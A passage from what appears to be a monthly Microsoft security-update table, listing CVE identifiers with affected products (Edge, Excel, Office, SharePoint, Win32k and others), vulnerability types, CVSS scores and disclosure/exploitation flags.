DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k 